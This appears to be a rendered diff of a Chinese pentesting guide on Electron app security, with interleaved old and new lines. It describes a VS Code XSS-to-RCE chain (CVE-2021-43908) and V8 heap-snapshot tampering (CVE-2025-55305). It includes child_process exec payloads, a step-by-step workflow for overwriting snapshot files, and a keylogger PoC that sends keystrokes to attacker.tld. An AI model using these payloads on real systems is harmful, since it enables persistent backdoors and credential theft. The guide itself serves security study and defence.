- [**Electronegativity**](https://github.com/doyensec/electronegativity) 是用于识别 Electron 应用中错误配置和安全反模式的工具。
|
这个真实世界的链条影响了 Visual Studio Code 1.63 (CVE-2021-43908),演示了当 CSP、postMessage 和 scheme 处理器配置错误时,如何将 webview 中单个由 markdown 驱动的 XSS 提权为完整的 RCE。Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个开源的 VS Code 插件,针对 Electron 应用,使用 Electronegativity。
|
|
||||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 用于检查存在漏洞的第三方库。
|
|
||||||
- [**Electro.ng**](https://electro.ng/): 需要付费购买
|
|
||||||
|
|
||||||
## Labs
|
攻击链概览
|
||||||
|
- 首先通过 webview CSP 导致的 XSS:生成的 CSP 包含 `style-src 'self' 'unsafe-inline'`,允许在 `vscode-webview://` 上下文中进行内联/基于样式的注入。payload 向 `/stealID` 发送请求以外泄目标 webview 的 extensionId。
|
||||||
|
- 构造目标 webview URL:使用 leaked ID 构建 `vscode-webview://<extensionId>/.../<publicUrl>`。
|
||||||
|
- 通过 postMessage 信任的第二次 XSS:外层 webview 信任 `window.postMessage`,未进行严格的 origin/type 校验,并使用 `allowScripts: true` 加载攻击者 HTML。
|
||||||
|
- 通过 scheme/路径重写进行本地文件加载:payload 将 `file:///...` 重写为 `vscode-file://vscode-app/...`,并将 `exploit.md` 替换为 `RCE.html`,滥用弱路径校验来加载受权限保护的本地资源。
|
||||||
|
- 在启用 Node 的上下文中实现 RCE:加载的 HTML 在可用的 Node APIs 环境下执行,最终可导致操作系统命令执行。
|
||||||
|
|
||||||
在 [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) 可以找到一个用于利用易受攻击 Electron 应用的实验室。
|
Example RCE primitive in the final context
|
||||||
|
```js
|
||||||
|
// RCE.html (executed in a Node-enabled webview context)
|
||||||
|
require('child_process').exec('calc.exe'); // Windows
|
||||||
|
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
||||||
|
```
|
||||||
|
相关阅读(关于 postMessage 信任问题):
|
||||||
|
|
||||||
下面是一些将帮助你完成该 lab 的命令:
|
{{#ref}}
|
||||||
|
../../../pentesting-web/postmessage-vulnerabilities/README.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## **工具**
|
||||||
|
|
||||||
|
- [**Electronegativity**](https://github.com/doyensec/electronegativity) 用于识别基于 Electron 的应用中的错误配置和安全反模式的工具。
|
||||||
|
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个开源的 VS Code 插件,用于 Electron 应用并使用 Electronegativity。
|
||||||
|
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 用于检查易受攻击的第三方库
|
||||||
|
- [**Electro.ng**](https://electro.ng/): 需要购买
|
||||||
|
|
||||||
|
## 实验
|
||||||
|
|
||||||
|
在 [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) 你可以找到一个用于利用易受攻击的 Electron 应用的实验。
|
||||||
|
|
||||||
|
下面是一些将在实验中帮助你的命令:
|
||||||
```bash
|
```bash
|
||||||
# Download apps from these URls
|
# Download apps from these URls
|
||||||
# Vuln to nodeIntegration
|
# Vuln to nodeIntegration
|
||||||
@ -434,18 +455,18 @@ cd vulnerable1
|
|||||||
npm install
|
npm install
|
||||||
npm start
|
npm start
|
||||||
```
|
```
|
||||||
## 通过篡改 V8 堆快照实现本地后门(Electron/Chromium) – CVE-2025-55305
|
## 本地后门植入(通过 V8 heap snapshot tampering)(Electron/Chromium) – CVE-2025-55305
|
||||||
|
|
||||||
Electron 和基于 Chromium 的应用在启动时反序列化预构建的 V8 堆快照(v8_context_snapshot.bin,可选的还有 browser_v8_context_snapshot.bin)来初始化每个 V8 isolate(main、preload、renderer)。历来,Electron 的完整性 fuses 并未将这些快照视为可执行内容,因此它们绕过了基于 fuse 的完整性强制和操作系统的代码签名检查。因此,在用户可写的安装目录中替换快照可以在不修改已签名二进制文件或 ASAR 的情况下,提供在应用内隐蔽且持久的代码执行。
|
Electron 和基于 Chromium 的应用在启动时反序列化预构建的 V8 heap snapshot(v8_context_snapshot.bin,和可选的 browser_v8_context_snapshot.bin)来初始化每个 V8 isolate(main、preload、renderer)。历史上,Electron 的 integrity fuses 并未将这些 snapshot 视为可执行内容,因此它们规避了基于 fuse 的完整性强制和操作系统的代码签名检查。因此,在用户可写的安装目录中替换 snapshot 可以在不修改已签名二进制或 ASAR 的情况下,提供对应用内部的隐蔽、持久的代码执行。
|
||||||
|
|
||||||
Key points
|
Key points
|
||||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
|
- Integrity gap:EnableEmbeddedAsarIntegrityValidation 和 OnlyLoadAppFromAsar 验证 ASAR 内的应用 JavaScript,但它们不覆盖 V8 heap snapshots(CVE-2025-55305)。Chromium 也同样不会对 snapshots 进行完整性校验。
|
||||||
- Attack preconditions: 向应用安装目录写入本地文件。在 Electron 应用或 Chromium 浏览器安装于用户可写路径(例如 Windows 上的 %AppData%\Local;macOS 上的 /Applications 有若干限制)的系统上,这种情况很常见。
|
- Attack preconditions:对应用安装目录的本地文件写权限。在 Electron 应用或 Chromium 浏览器安装在用户可写路径的系统上很常见(例如,Windows 上的 %AppData%\Local;macOS 上的 /Applications 有一些注意事项)。
|
||||||
- Effect: 通过篡改一个常用的内置项(即 “gadget”),能在任意 isolate 中可靠执行攻击者的 JavaScript,从而实现持久性并规避代码签名校验。
|
- Effect:通过破坏一个常用的 builtin(一个 “gadget”),可在任意 isolate 中可靠执行攻击者的 JavaScript,从而实现持久化并规避代码签名校验。
|
||||||
- Affected surface: Electron apps(即使启用了 fuses)以及从用户可写位置加载快照的基于 Chromium 的浏览器。
|
- Affected surface:Electron 应用(即使启用了 fuses)以及从用户可写位置加载 snapshots 的基于 Chromium 的浏览器。
|
||||||
|
|
||||||
Generating a malicious snapshot without building Chromium
|
Generating a malicious snapshot without building Chromium
|
||||||
- 使用预构建的 electron/mksnapshot 将 payload JS 编译为快照,并覆盖应用的 v8_context_snapshot.bin。
|
- 使用预构建的 electron/mksnapshot 将 payload JS 编译成 snapshot,并覆盖应用的 v8_context_snapshot.bin。
|
||||||
|
|
||||||
Example minimal payload (prove execution by forcing a crash)
|
Example minimal payload (prove execution by forcing a crash)
|
||||||
```js
|
```js
|
||||||
@ -461,11 +482,11 @@ Array.isArray = function () {
|
|||||||
throw new Error("testing isArray gadget");
|
throw new Error("testing isArray gadget");
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
Isolate-aware payload routing(在 main 与 renderer 中运行不同的 code)
|
Isolate-aware payload routing (在 main vs. renderer 中运行不同的代码)
|
||||||
- Main process 检测:Node-only globals(例如 process.pid、process.binding() 或 process.dlopen)存在于 main process 的 isolate 中。
|
- Main 进程检测:Node-only globals like process.pid, process.binding(), or process.dlopen 存在于 main 进程的 isolate 中。
|
||||||
- Browser/renderer 检测:Browser-only globals(例如 alert)在 document 上下文中运行时可用。
|
- Browser/renderer 检测:Browser-only globals like alert 在 document context 运行时可用。
|
||||||
|
|
||||||
示例 gadget:一次性探测 main-process 的 Node 能力
|
示例 gadget:一次性探测 main 进程的 Node 能力
|
||||||
```js
|
```js
|
||||||
const orig = Array.isArray;
|
const orig = Array.isArray;
|
||||||
|
|
||||||
@ -494,7 +515,7 @@ process.exit(0);
|
|||||||
return orig(...arguments);
|
return orig(...arguments);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
渲染器/浏览器上下文 数据窃取 PoC(例如 Slack)
|
Renderer/browser-context 数据窃取 PoC(例如 Slack)
|
||||||
```js
|
```js
|
||||||
const orig = Array.isArray;
|
const orig = Array.isArray;
|
||||||
Array.isArray = function() {
|
Array.isArray = function() {
|
||||||
@ -518,27 +539,31 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
|
|||||||
return orig(...arguments);
|
return orig(...arguments);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
Operator workflow
|
操作流程
|
||||||
1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate.
|
1) 编写 payload.js,覆写一个常见的内置函数(例如 Array.isArray),并可选地针对每个 isolate 做分支。
|
||||||
2) Build the snapshot without Chromium sources:
|
2) 在不包含 Chromium 源代码的情况下构建 snapshot:
|
||||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||||
3) Overwrite the target application’s snapshot file(s):
|
3) 覆盖目标应用的 snapshot 文件:
|
||||||
- v8_context_snapshot.bin (always used)
|
- v8_context_snapshot.bin (always used)
|
||||||
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
|
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
|
||||||
4) Launch the application; the gadget executes whenever the chosen builtin is used.
|
4) 启动应用;每当调用所选的内置函数时,gadget 将被执行。
|
||||||
|
|
||||||
注意事项与考虑
|
注意与考虑
|
||||||
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
|
- Integrity/signature bypass:Snapshot 文件在代码签名检查中不被视为原生可执行文件,并且(历史上)未被 Electron’s fuses 或 Chromium 的完整性控制覆盖。
|
||||||
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
|
- Persistence:在用户可写的安装目录中替换 snapshot 通常能在应用重启后存活,并看起来像已签名的合法应用。
|
||||||
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
|
- Chromium browsers:相同的篡改概念适用于安装在用户可写位置的 Chrome/衍生版本。Chrome 有其他完整性缓解措施,但明确地将物理本地攻击排除在其威胁模型之外。
|
||||||
|
|
||||||
检测与缓解
|
检测与缓解
|
||||||
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
|
- 将 snapshots 视为可执行内容并将其纳入完整性强制(CVE-2025-55305 fix)。
|
||||||
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
|
- 优先选择仅管理员可写的安装位置;为 v8_context_snapshot.bin 和 browser_v8_context_snapshot.bin 建立基线并监控哈希值。
|
||||||
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
|
- 检测早期运行时的内置函数覆写和意外的 snapshot 变更;当反序列化的 snapshot 与预期值不符时发出警报。
|
||||||
|
|
||||||
## **References**
|
## **References**
|
||||||
|
|
||||||
|
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
|
||||||
|
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
|
||||||
|
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
|
||||||
|
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
|
||||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||||
@ -548,7 +573,6 @@ Operator workflow
|
|||||||
- [Loki C2](https://github.com/boku7/Loki/)
|
- [Loki C2](https://github.com/boku7/Loki/)
|
||||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||||
|
|
||||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user